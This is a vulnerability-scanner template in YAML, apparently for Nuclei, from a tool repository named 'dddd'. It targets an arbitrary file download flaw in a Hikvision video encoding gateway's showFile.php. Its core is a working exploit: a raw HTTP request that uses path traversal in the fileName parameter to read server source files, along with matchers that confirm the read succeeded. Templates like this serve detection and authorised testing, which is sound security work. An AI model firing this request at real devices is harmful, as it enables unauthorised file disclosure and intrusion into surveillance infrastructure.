dddd/common/config/pocs/hikvision-showfile-file-read.yaml
SleepingBag945 9a83a1b39f dddd v2.0
2024-04-03 06:32:26 +02:00

28 lines
942 B
YAML

id: hikvision-showfile-file-read
info:
name: HIKVISION 视频编码设备接入网关 showFile.php 任意文件下载漏洞
author: SleepingBag945
severity: high
description: |
海康威视视频接入网关系统在页面/serverLog/showFile.php的参数fileName存在任意文件下载漏洞
title="视频编码设备接入网关"
reference:
- http://wiki.peiqi.tech/wiki/iot/HIKVISION/HIKVISION%20%E8%A7%86%E9%A2%91%E7%BC%96%E7%A0%81%E8%AE%BE%E5%A4%87%E6%8E%A5%E5%85%A5%E7%BD%91%E5%85%B3%20showFile.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.html
http:
- raw:
- |
GET /serverLog/showFile.php?fileName=../web/html/main.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- $_SERVER['HTTP_HOST'];
part: body
condition: and